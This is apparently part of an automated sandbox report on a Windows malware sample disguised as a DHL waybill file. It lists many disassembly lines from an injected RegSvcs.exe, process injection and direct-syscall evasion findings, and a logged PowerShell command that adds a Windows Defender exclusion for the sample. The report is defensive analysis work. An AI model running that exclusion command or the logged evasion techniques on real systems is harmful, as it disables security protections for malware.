Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01836962 mov eax, dword ptr fs:[00000030h] 8_2_01836962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01836962 mov eax, dword ptr fs:[00000030h] 8_2_01836962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01836962 mov eax, dword ptr fs:[00000030h] 8_2_01836962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185096E mov eax, dword ptr fs:[00000030h] 8_2_0185096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185096E mov edx, dword ptr fs:[00000030h] 8_2_0185096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185096E mov eax, dword ptr fs:[00000030h] 8_2_0185096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B4978 mov eax, dword ptr fs:[00000030h] 8_2_018B4978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B4978 mov eax, dword ptr fs:[00000030h] 8_2_018B4978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189C97C mov eax, dword ptr fs:[00000030h] 8_2_0189C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810887 mov eax, dword ptr fs:[00000030h] 8_2_01810887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189C89D mov eax, dword ptr fs:[00000030h] 8_2_0189C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183E8C0 mov eax, dword ptr fs:[00000030h] 8_2_0183E8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DA8E4 mov eax, dword ptr fs:[00000030h] 8_2_018DA8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C8F9 mov eax, dword ptr fs:[00000030h] 8_2_0184C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184C8F9 mov eax, dword ptr fs:[00000030h] 8_2_0184C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189C810 mov eax, dword ptr fs:[00000030h] 8_2_0189C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B483A mov eax, dword ptr fs:[00000030h] 8_2_018B483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B483A mov eax, dword ptr fs:[00000030h] 8_2_018B483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184A830 mov eax, dword ptr fs:[00000030h] 8_2_0184A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832835 mov eax, dword ptr fs:[00000030h] 8_2_01832835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832835 mov eax, dword ptr fs:[00000030h] 8_2_01832835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832835 mov eax, dword ptr fs:[00000030h] 8_2_01832835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832835 mov ecx, dword ptr fs:[00000030h] 8_2_01832835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832835 mov eax, dword ptr fs:[00000030h] 8_2_01832835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832835 mov eax, dword ptr fs:[00000030h] 8_2_01832835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01822840 mov ecx, dword ptr fs:[00000030h] 8_2_01822840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01840854 mov eax, dword ptr fs:[00000030h] 8_2_01840854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01814859 mov eax, dword ptr fs:[00000030h] 8_2_01814859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01814859 mov eax, dword ptr fs:[00000030h] 8_2_01814859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A6870 mov eax, dword ptr fs:[00000030h] 8_2_018A6870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A6870 mov eax, dword ptr fs:[00000030h] 8_2_018A6870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189E872 mov eax, dword ptr fs:[00000030h] 8_2_0189E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189E872 mov eax, dword ptr fs:[00000030h] 8_2_0189E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820BBE mov eax, dword ptr fs:[00000030h] 8_2_01820BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820BBE mov eax, dword ptr fs:[00000030h] 8_2_01820BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01830BCB mov eax, dword ptr fs:[00000030h] 8_2_01830BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01830BCB mov eax, dword ptr fs:[00000030h] 8_2_01830BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01830BCB mov eax, dword ptr fs:[00000030h] 8_2_01830BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810BCD mov eax, dword ptr fs:[00000030h] 8_2_01810BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810BCD mov eax, dword ptr fs:[00000030h] 8_2_01810BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810BCD mov eax, dword ptr fs:[00000030h] 8_2_01810BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018BEBD0 mov eax, dword ptr fs:[00000030h] 8_2_018BEBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818BF0 mov eax, dword ptr fs:[00000030h] 8_2_01818BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818BF0 mov eax, dword ptr fs:[00000030h] 8_2_01818BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818BF0 mov eax, dword ptr fs:[00000030h] 8_2_01818BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189CBF0 mov eax, dword ptr fs:[00000030h] 8_2_0189CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183EBFC mov eax, dword ptr fs:[00000030h] 8_2_0183EBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188EB1D mov eax, dword ptr fs:[00000030h] 8_2_0188EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183EB20 mov eax, dword ptr fs:[00000030h] 8_2_0183EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183EB20 mov eax, dword ptr fs:[00000030h] 8_2_0183EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D8B28 mov eax, dword ptr fs:[00000030h] 8_2_018D8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D8B28 mov eax, dword ptr fs:[00000030h] 8_2_018D8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B8B42 mov eax, dword ptr fs:[00000030h] 8_2_018B8B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A6B40 mov eax, dword ptr fs:[00000030h] 8_2_018A6B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A6B40 mov eax, dword ptr fs:[00000030h] 8_2_018A6B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DAB40 mov eax, dword ptr fs:[00000030h] 8_2_018DAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180CB7E mov eax, dword ptr fs:[00000030h] 8_2_0180CB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 mov eax, dword ptr fs:[00000030h] 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4A80 mov eax, dword ptr fs:[00000030h] 8_2_018E4A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01848A90 mov edx, dword ptr fs:[00000030h] 8_2_01848A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818AA0 mov eax, dword ptr fs:[00000030h] 8_2_01818AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01818AA0 mov eax, dword ptr fs:[00000030h] 8_2_01818AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01866AA4 mov eax, dword ptr fs:[00000030h] 8_2_01866AA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01866ACC mov eax, dword ptr fs:[00000030h] 8_2_01866ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01866ACC mov eax, dword ptr fs:[00000030h] 8_2_01866ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01866ACC mov eax, dword ptr fs:[00000030h] 8_2_01866ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810AD0 mov eax, dword ptr fs:[00000030h] 8_2_01810AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01844AD0 mov eax, dword ptr fs:[00000030h] 8_2_01844AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01844AD0 mov eax, dword ptr fs:[00000030h] 8_2_01844AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184AAEE mov eax, dword ptr fs:[00000030h] 8_2_0184AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184AAEE mov eax, dword ptr fs:[00000030h] 8_2_0184AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189CA11 mov eax, dword ptr fs:[00000030h] 8_2_0189CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CA24 mov eax, dword ptr fs:[00000030h] 8_2_0184CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183EA2E mov eax, dword ptr fs:[00000030h] 8_2_0183EA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01834A35 mov eax, dword ptr fs:[00000030h] 8_2_01834A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01834A35 mov eax, dword ptr fs:[00000030h] 8_2_01834A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CA38 mov eax, dword ptr fs:[00000030h] 8_2_0184CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01816A50 mov eax, dword ptr fs:[00000030h] 8_2_01816A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820A5B mov eax, dword ptr fs:[00000030h] 8_2_01820A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820A5B mov eax, dword ptr fs:[00000030h] 8_2_01820A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CA6F mov eax, dword ptr fs:[00000030h] 8_2_0184CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CA6F mov eax, dword ptr fs:[00000030h] 8_2_0184CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CA6F mov eax, dword ptr fs:[00000030h] 8_2_0184CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188CA72 mov eax, dword ptr fs:[00000030h] 8_2_0188CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188CA72 mov eax, dword ptr fs:[00000030h] 8_2_0188CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D8DAE mov eax, dword ptr fs:[00000030h] 8_2_018D8DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D8DAE mov eax, dword ptr fs:[00000030h] 8_2_018D8DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E4DAD mov eax, dword ptr fs:[00000030h] 8_2_018E4DAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01846DA0 mov eax, dword ptr fs:[00000030h] 8_2_01846DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CDB1 mov ecx, dword ptr fs:[00000030h] 8_2_0184CDB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CDB1 mov eax, dword ptr fs:[00000030h] 8_2_0184CDB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184CDB1 mov eax, dword ptr fs:[00000030h] 8_2_0184CDB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01838DBF mov eax, dword ptr fs:[00000030h] 8_2_01838DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01838DBF mov eax, dword ptr fs:[00000030h] 8_2_01838DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183EDD3 mov eax, dword ptr fs:[00000030h] 8_2_0183EDD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183EDD3 mov eax, dword ptr fs:[00000030h] 8_2_0183EDD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01894DD7 mov eax, dword ptr fs:[00000030h] 8_2_01894DD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01894DD7 mov eax, dword ptr fs:[00000030h] 8_2_01894DD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 mov eax, dword ptr fs:[00000030h] 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 mov eax, dword ptr fs:[00000030h] 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 mov eax, dword ptr fs:[00000030h] 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 mov eax, dword ptr fs:[00000030h] 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 mov eax, dword ptr fs:[00000030h] 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 mov eax, dword ptr fs:[00000030h] 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01830DE1 mov eax, dword ptr fs:[00000030h] 8_2_01830DE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180CDEA mov eax, dword ptr fs:[00000030h] 8_2_0180CDEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180CDEA mov eax, dword ptr fs:[00000030h] 8_2_0180CDEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183CDF0 mov eax, dword ptr fs:[00000030h] 8_2_0183CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183CDF0 mov ecx, dword ptr fs:[00000030h] 8_2_0183CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01806DF6 mov eax, dword ptr fs:[00000030h] 8_2_01806DF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B0DF0 mov eax, dword ptr fs:[00000030h] 8_2_018B0DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B0DF0 mov eax, dword ptr fs:[00000030h] 8_2_018B0DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182AD00 mov eax, dword ptr fs:[00000030h] 8_2_0182AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182AD00 mov eax, dword ptr fs:[00000030h] 8_2_0182AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182AD00 mov eax, dword ptr fs:[00000030h] 8_2_0182AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01806D10 mov eax, dword ptr fs:[00000030h] 8_2_01806D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01806D10 mov eax, dword ptr fs:[00000030h] 8_2_01806D10
Enables debug privileges
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe"
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe" Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtWriteVirtualMemory: Direct from: 0x77762E3C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtMapViewOfSection: Direct from: 0x77762D1C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtNotifyChangeKey: Direct from: 0x77763C2C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtCreateMutant: Direct from: 0x777635CC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtResumeThread: Direct from: 0x777636AC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtQuerySystemInformation: Direct from: 0x77762DFC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtAllocateVirtualMemory: Direct from: 0x77762BFC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtReadFile: Direct from: 0x77762ADC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtDelayExecution: Direct from: 0x77762DDC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtWriteVirtualMemory: Direct from: 0x7776490C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtQueryInformationProcess: Direct from: 0x77762C26 Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtResumeThread: Direct from: 0x77762FBC Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtCreateUserProcess: Direct from: 0x7776371C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtSetInformationThread: Direct from: 0x777563F9 Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtAllocateVirtualMemory: Direct from: 0x77763C9C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtSetInformationThread: Direct from: 0x77762B4C Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe NtQueryAttributesFile: Direct from: 0x77762E6C Jump to behavior
